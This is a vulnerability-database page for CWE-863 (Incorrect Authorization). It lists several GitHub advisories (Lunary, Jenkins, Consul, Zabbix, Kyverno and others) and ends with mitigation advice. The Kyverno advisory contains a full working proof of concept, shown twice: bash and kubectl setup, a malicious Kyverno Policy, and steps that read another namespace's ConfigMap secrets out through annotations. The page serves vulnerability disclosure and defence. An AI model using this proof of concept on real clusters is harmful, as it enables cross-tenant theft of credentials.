CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
6982 vulnerabilities reference this CWE, most recent first.
GHSA-CRGC-QFCH-JGR7
Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30In lunary-ai/lunary version 1.0.1, a vulnerability exists where a user removed from an organization can still read, create, modify, and delete logs by re-using an old authorization token. The lunary web application communicates with the server using an 'Authorization' token in the browser, which does not properly invalidate upon the user's removal from the organization. This allows the removed user to perform unauthorized actions on logs and access project and external user details without valid permissions.
{
"affected": [],
"aliases": [
"CVE-2024-1740"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T17:15:53Z",
"severity": "CRITICAL"
},
"details": "In lunary-ai/lunary version 1.0.1, a vulnerability exists where a user removed from an organization can still read, create, modify, and delete logs by re-using an old authorization token. The lunary web application communicates with the server using an \u0027Authorization\u0027 token in the browser, which does not properly invalidate upon the user\u0027s removal from the organization. This allows the removed user to perform unauthorized actions on logs and access project and external user details without valid permissions.",
"id": "GHSA-crgc-qfch-jgr7",
"modified": "2024-04-10T18:30:48Z",
"published": "2024-04-10T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1740"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/c57cd50fa0477fd2a2efe60810c0099eebd66f54"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/c1a51f71-628e-4eb5-ac35-50bf64832cfd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CRVQ-MW2W-4CFX
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2024-01-30 22:42An improper authorization vulnerability exists in Jenkins Black Duck Hub Plugin 3.0.3 and older in PostBuildScanDescriptor.java that allows users with Overall/Read permission to read and write the Black Duck Hub plugin configuration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.blackducksoftware.integration:blackduck-hub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000197"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:42:35Z",
"nvd_published_at": "2018-06-05T21:29:00Z",
"severity": "HIGH"
},
"details": "An improper authorization vulnerability exists in Jenkins Black Duck Hub Plugin 3.0.3 and older in PostBuildScanDescriptor.java that allows users with Overall/Read permission to read and write the Black Duck Hub plugin configuration.",
"id": "GHSA-crvq-mw2w-4cfx",
"modified": "2024-01-30T22:42:35Z",
"published": "2022-05-13T01:48:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000197"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-05-09/#SECURITY-670"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Black Duck Hub Plugin allowed any user with Overall/Read to read and write its configuration"
}
GHSA-CRXX-35WQ-W63C
Vulnerability from github – Published: 2021-12-13 00:00 – Updated: 2022-04-01 00:01HashiCorp Consul Enterprise before 1.8.17, 1.9.x before 1.9.11, and 1.10.x before 1.10.4 has Incorrect Access Control. An ACL token (with the default operator:write permissions) in one namespace can be used for unintended privilege escalation in a different namespace.
{
"affected": [],
"aliases": [
"CVE-2021-41805"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-12T05:15:00Z",
"severity": "HIGH"
},
"details": "HashiCorp Consul Enterprise before 1.8.17, 1.9.x before 1.9.11, and 1.10.x before 1.10.4 has Incorrect Access Control. An ACL token (with the default operator:write permissions) in one namespace can be used for unintended privilege escalation in a different namespace.",
"id": "GHSA-crxx-35wq-w63c",
"modified": "2022-04-01T00:01:18Z",
"published": "2021-12-13T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41805"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2021-29-consul-enterprise-namespace-default-acls-allow-privilege-escalation/31871"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20211229-0007"
},
{
"type": "WEB",
"url": "https://www.hashicorp.com/blog/category/consul"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV64-6J2C-F8CG
Vulnerability from github – Published: 2026-03-06 09:31 – Updated: 2026-06-05 18:31An authenticated Zabbix user (User role) with template/host write permissions is able to create objects via the configuration.import API. This can lead to confidentiality loss by creating unauthorized hosts. Note that the User role is normally not sufficient to create and edit templates/hosts even with write permissions.
{
"affected": [],
"aliases": [
"CVE-2026-23925"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-06T09:15:56Z",
"severity": "MODERATE"
},
"details": "An authenticated Zabbix user (User role) with template/host write permissions is able to create objects via the configuration.import API. This can lead to confidentiality loss by creating unauthorized hosts. Note that the User role is normally not sufficient to create and edit templates/hosts even with write permissions.",
"id": "GHSA-cv64-6j2c-f8cg",
"modified": "2026-06-05T18:31:31Z",
"published": "2026-03-06T09:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23925"
},
{
"type": "WEB",
"url": "https://support.zabbix.com/browse/ZBX-27567"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:H/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CV9F-FH36-WW7H
Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-11 18:31Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.
{
"affected": [],
"aliases": [
"CVE-2026-48415"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T18:17:31Z",
"severity": "HIGH"
},
"details": "Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.",
"id": "GHSA-cv9f-fh36-ww7h",
"modified": "2026-08-11T18:31:56Z",
"published": "2026-08-11T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48415"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb26-92.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CV9J-78F7-W6V9
Vulnerability from github – Published: 2021-07-26 21:41 – Updated: 2021-07-28 19:21The l10nmgr (aka Localization Manager) extension before 7.4.0, 8.x before 8.7.0, and 9.x before 9.2.0 for TYPO3 allows Information Disclosure (translatable fields).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "localizationteam/l10nmgr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "localizationteam/l10nmgr"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "localizationteam/l10nmgr"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-25025"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T18:51:12Z",
"nvd_published_at": "2020-09-02T17:15:00Z",
"severity": "MODERATE"
},
"details": "The l10nmgr (aka Localization Manager) extension before 7.4.0, 8.x before 8.7.0, and 9.x before 9.2.0 for TYPO3 allows Information Disclosure (translatable fields).",
"id": "GHSA-cv9j-78f7-w6v9",
"modified": "2021-07-28T19:21:31Z",
"published": "2021-07-26T21:41:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25025"
},
{
"type": "WEB",
"url": "https://typo3.org/help/security-advisories"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2020-016"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in TYPO3 extension"
}
GHSA-CVC2-RR87-WJM5
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-07-13 00:01The unofficial vscode-rufo extension before 0.0.4 for Visual Studio Code allows attackers to execute arbitrary binaries if the user opens a crafted workspace folder.
{
"affected": [],
"aliases": [
"CVE-2021-29658"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-31T17:15:00Z",
"severity": "HIGH"
},
"details": "The unofficial vscode-rufo extension before 0.0.4 for Visual Studio Code allows attackers to execute arbitrary binaries if the user opens a crafted workspace folder.",
"id": "GHSA-cvc2-rr87-wjm5",
"modified": "2022-07-13T00:01:16Z",
"published": "2022-05-24T17:46:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29658"
},
{
"type": "WEB",
"url": "https://github.com/jnbt/vscode-rufo/commit/bc0d212436f76d12cbdab287802fa5bc743f818a"
},
{
"type": "WEB",
"url": "https://marketplace.visualstudio.com/items/jnbt.vscode-rufo/changelog"
},
{
"type": "WEB",
"url": "https://vuln.ryotak.me/advisories/8"
},
{
"type": "WEB",
"url": "https://vuln.ryotak.me/advisories/8.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVJW-3JG5-RVCQ
Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-11-04 15:31An authentication issue was addressed with improved state management. This issue is fixed in watchOS 26.1. An attacker with physical access to a locked Apple Watch may be able to view Live Voicemail.
{
"affected": [],
"aliases": [
"CVE-2025-43459"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T02:15:51Z",
"severity": "MODERATE"
},
"details": "An authentication issue was addressed with improved state management. This issue is fixed in watchOS 26.1. An attacker with physical access to a locked Apple Watch may be able to view Live Voicemail.",
"id": "GHSA-cvjw-3jg5-rvcq",
"modified": "2025-11-04T15:31:33Z",
"published": "2025-11-04T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43459"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125639"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CVQ5-HHX3-F99P
Vulnerability from github – Published: 2026-04-16 21:35 – Updated: 2026-07-21 14:03Summary
CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.
Details
Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.
Code path comparison:
| CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |
|---|---|---|
| Location | apiCall.URLPath field |
configMap.namespace field |
| Code path | apicall.Fetch() → namespace regex validation |
configmap.NewConfigMapLoader() → no validation |
| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |
Exploit mechanism:
1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace
3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap
4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations
Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.
PoC
Full reproduction (5 minutes on kind):
#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait
# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns
# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
--from-literal=db-password="s3cr3t-p4ssw0rd" \
--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"
# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
--resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
--as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)
Exploit policy:
# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: configmap-crossns-read
namespace: attacker-ns
spec:
rules:
- name: steal-configmap
match:
any:
- resources:
kinds: [ConfigMap]
names: ["trigger-cm"]
context:
- name: stolendata
configMap:
name: "sensitive-config"
namespace: "victim-ns" # <-- NO VALIDATION
mutate:
patchStrategicMerge:
metadata:
annotations:
exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Trigger and exfiltrate:
# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cm
namespace: attacker-ns
data:
innocent: "data"
EOF
# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
# "exfil-db-password": "s3cr3t-p4ssw0rd"
# }
Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.
Impact
Severity: HIGH (CVSS 7.7)
Who is affected: - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno
Attack prerequisites: - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required
What can be exfiltrated: - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps
Why this matters: - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees
Suggested fix:
Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():
1. Pass policyNamespace to NewConfigMapLoader()
2. After variable substitution on namespace, validate resolved namespace == policyNamespace
3. Return error if validation fails
Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.
Tested versions: - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41068"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:35:04Z",
"nvd_published_at": "2026-04-24T04:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno\u0027s `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** \u2014 the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno\u0027s privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy\u0027s own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` \u2192 namespace regex validation | `configmap.NewConfigMapLoader()` \u2192 no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno\u0027s admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: configmap-crossns-read\n namespace: attacker-ns\nspec:\n rules:\n - name: steal-configmap\n match:\n any:\n - resources:\n kinds: [ConfigMap]\n names: [\"trigger-cm\"]\n context:\n - name: stolendata\n configMap:\n name: \"sensitive-config\"\n namespace: \"victim-ns\" # \u003c-- NO VALIDATION\n mutate:\n patchStrategicMerge:\n metadata:\n annotations:\n exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - \u003c\u003cEOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-cm\n namespace: attacker-ns\ndata:\n innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath=\u0027{.metadata.annotations}\u0027 \\\n --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n# \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n# \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
"id": "GHSA-cvq5-hhx3-f99p",
"modified": "2026-07-21T14:03:44Z",
"published": "2026-04-16T21:35:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41068"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)"
}
GHSA-CVQR-93M2-6777
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-07-13 00:01ETINET BACKBOX E4.09 and H4.09 mismanages password access control. When a user uses the User ID of the process running BBSV to login to the Backbox UI application, the system procedure (USER_AUTHENTICATE_) used for verifying the Password returns 0 (no error). The reason is that the user is not running the XYGate application. Hence, BBSV assumes the Password is correct. For H4.09, the affected version isT0954V04^AAO. For E4.09, the affected version is 22SEP2020.
{
"affected": [],
"aliases": [
"CVE-2021-33895"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-25T14:15:00Z",
"severity": "HIGH"
},
"details": "ETINET BACKBOX E4.09 and H4.09 mismanages password access control. When a user uses the User ID of the process running BBSV to login to the Backbox UI application, the system procedure (USER_AUTHENTICATE_) used for verifying the Password returns 0 (no error). The reason is that the user is not running the XYGate application. Hence, BBSV assumes the Password is correct. For H4.09, the affected version isT0954V04^AAO. For E4.09, the affected version is 22SEP2020.",
"id": "GHSA-cvqr-93m2-6777",
"modified": "2022-07-13T00:01:26Z",
"published": "2022-05-24T19:06:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33895"
},
{
"type": "WEB",
"url": "https://etinet.com/products/backbox-virtual-tape-controller"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbns04172en_us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.